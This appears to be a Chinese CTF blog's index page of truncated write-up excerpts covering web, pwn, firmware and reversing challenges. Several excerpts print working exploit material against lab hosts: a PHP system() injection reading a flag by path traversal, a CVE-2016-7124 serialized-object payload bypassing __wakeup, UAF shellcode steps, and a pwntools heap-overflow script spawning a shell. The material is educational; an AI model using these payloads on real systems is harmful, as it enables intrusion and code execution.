Web入门-入门泛做题
Web入门-入门泛做题[LitCTF 2023]我Flag呢?略。
[LitCTF 2023]PHP是世界上最好的语言!!123456789101112from selenium import webdriverimport timebrowser=webdriver.Edge()browser.get('http://node5.anna.nssctf.cn:28327/')elem1=browser.find_element_by_id('php_code');elem1.send_keys("<?phpsystem(\"cat ../../../flag\");?>")elem2=browser.find_element_by_id('run');elem2.click()time.sleep(1)elem3=browser.find_element_by_id('run_result');print(elem3.text[-44:]);browse ...
Web入门-PHP反序列化漏洞
Web入门-PHP反序列化漏洞[SWPUCTF 2021 新生赛]no_wakeup反序列化时触发__wakeup函数,考虑绕开。
12345$aa = new HaHaHa();$aa->admin = "admin";$aa->passwd = "wllm";$stus = serialize($aa);print_r($stus); //O:6:"HaHaHa":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:4:"wllm";}
CVE-2016-7124:当参数列表中成员个数与实际不符时绕过__wakeup函数,构造:
1O:6:"HaHaHa":3:{s:5:"admin";s:5:"admin";s:6:"passwd";s:4:"wllm";}
...
PWN入门-整数溢出
PWN入门-整数溢出基础知识宽度溢出&整形提升12345678910111213141516171819#include <cstdio>void main(void){ int l=0xabcddcba; short s=l; char c=l; //宽度溢出 printf("l=0x%x(%d bits)\n",l,sizeof(l)*8); printf("s=0x%x(%d bits)\n",s,sizeof(s)*8); printf("c=0x%x(%d bits)\n",c,sizeof(c)*8); //整形提升 printf("s+c=0x%x(%d bits)\n",s+c,sizeof(s+c)*8); return 0;};/* l=0xabcddcba(32 bits) s=0xffffdcba(16 bits) c=0xffffffba(8 bits) s+ ...
PWN入门-UAF
PWN入门-UAF[NISACTF 2022]UAFUAF(Use After Free)。当堆上的一块空间被释放后没有赋值为NULL时,下一次分配还会分配到这一块堆,且数据依然保留。
思路如下:
利用create创建“note 0”,并malloc给.bss段上的page。*(_DWORD *)page处为字符串地址,*((_DWORD *)page+1)处为函数指针。
利用del将page[0]给free掉,但并未赋值为NULL。道理类似于栈,堆顶下移但free掉的数据仍然保留。
漏洞点在show中,但不接受参数0,所以要将序号推到1再进行shellcode写入。
再次create“note 1”,并edit时注入shellcode,这时。在+0偏移处写入4字节(i386架构)“sh\x00\x00”,偏移+4处写入后门NICO地址。
最后show“note 0”时,page[0]依然指向create“note 1”时分配的堆,并在(*((void (__cdecl **)(char *))page + 1))(page);处执行shellcode。
123456789101112 ...
固件安全入门
固件安全入门[HGAME 2023 week1]Help marvinSPI通信协议,拿PulseView打开,新建一条SPI解码器。一共4条线分别为:
SCK时钟信号线,这里管脚选择D0,信号较为密集。
MISO主设备输入/从设备输出引脚,这里缺省。
MOSI主设备输出/从设备输入引脚,这里管脚选择D2,信号较稀松。
Chip Select/CS_N片选信号线,这里管脚选择D1,只有零星的高电位。
16进制导出即可。
PWN入门-堆溢出漏洞
PWN入门-堆溢出漏洞[NISACTF 2022]ezheap实际堆栈分配大小计算式:
1real_size=(allocated_size+0x4+0x7)&~0x7
exp:
12345678910from pwn import *context(log_level='debug',os='linux',arch='i386')p=remote("node5.anna.nssctf.cn",28346)allocated_size=0x16real_size=(allocated_size+0x4+0x7)&~0x7heap_overflow=cyclic(real_size)shellcode=b'/bin/sh\x00'payload1=flat([heap_overflow,shellcode])p.sendline(payload1)p.interactive()
PWN入门-pwndbg基本使用
PWN入门-pwndbg基本使用1234567891011121314151617181920212223file attachment #打开程序attachmentrun #从头开始运行start #运行到入口点 一般为mainb *地址 #某地址下断点b main #某符号下断点n #步过s #单步c #断点后运行i b #查看已有断点i r #查看所有寄存器的值stack 20 #查看20层栈disass main #反汇编符号p *地址 #查看某地址的值p &func #查看某符号函数的地址set *地址=值 #将某地址处改值d b 断点编号 #删除某断点disable b 断点编号 #禁用某断点enable b 断点编号 #启用某断点r<payload.dat #程序标准输入从文件payload.dat输入x/20i $rip #查看从寄存器rip指向的地址开始20条汇编指令x/20g 地址 #查看地址内容 20行 每行8字节search xxx #查找某内容地址distance 地址 地址 #计算俩地址距离
Go语言逆向随想录
Go语言逆向随想录启动主函数名叫main_main,以main_开头的函数即为用户函数,后半函数名即为真实函数名。启动从os_init函数初始化。
标准输入输出输出函数名叫fmt_Fprintln,第一个参数为(__int64)&go_itab__ptr_os_File_comma__ptr_io_Writer,第三个参数为结构体变量例如(__int64)v1。v1结构如下:
12v1[0]=(__int64)&PTYPE_string;v1[1]=(__inat64)&off_xxxxxx; //即为输出字符串偏移
输入函数名叫fmt_Fscanln,第一个参数为(__int64)go_itab__ptr_os_File_comma__ptr_io_Writer,第三个参数为结构体变量例如(__int64)v1。v1结构如下:
12v1[0]=(__int64)&RTYPE__ptr_string;v1[1]=(__int64)p_string;
p_string的定义如下:
1p_string=(string *)runtime_newobjec ...
Unicorn模拟执行
Unicorn模拟执行基操导入与初始化123from unicorn import *from unicorn.x86_const import *uc=Uc(UC_ARCH_X86,UC_MODE_64)
手动初始化内存、分配堆栈空间123address=0x400000 #运行地址stack_addr=0x410000 #堆栈地址data_addr=0x420000 #数据地址
映射内存1uc.mem_map(address,2*1024*1024) #加载的地址和大小
内存读写12uc.mem_read(address,length) #要读取的地址 要读取的长度uc.mem_write(address,Sub_code) #将Sub_code的代码写入运行地址
寄存器读写12uc.reg_write(UC_X86_REG_ESP,stack_addr)uc.reg_read(UC_X86_REG_ESP)
原神启动12uc.emu_start(Startaddr,Endaddr) #模拟开始地址 模拟结束地址uc.emu_stop()
实操[鹤城杯 2021]Pet ...
SICTF2024个人解题报告
SICTF2024个人解题报告[签到]Baby_C++就在flag数组里。
Ez_pyc简单代码阅读,发现是个数独,井号空下,0为要填的,解密得:
2456835127469673891564192578837194925486324875196156342796214853
python转16进制直接运行即可。
(好像后来附件换了,结果附件MD5估计是错的…
ArtBreakerIDA的Graph最大尺寸开成99999,转为图形界面即可。
SweetTofu动调,发现函数sub_55633523BB00,尝试解密。
123enc=[0x00,0x0A,0x07,0x01,0x1D,0x3F,0x09,0x13,0x39,0x07,0x08,0x02,0x39,0x2F,0x39,0x21,0x09,0x02,0x41,0x15,0x39,0x25,0x14,0x03,0x07,0x12,0x0F,0x09,0x08,0x47,0x22,0x09,0x08,0x41,0x12,0x39,0x04,0x03,0x39,0x15,0x03,0x14,0x0F,0x09,0x13,0x15, ...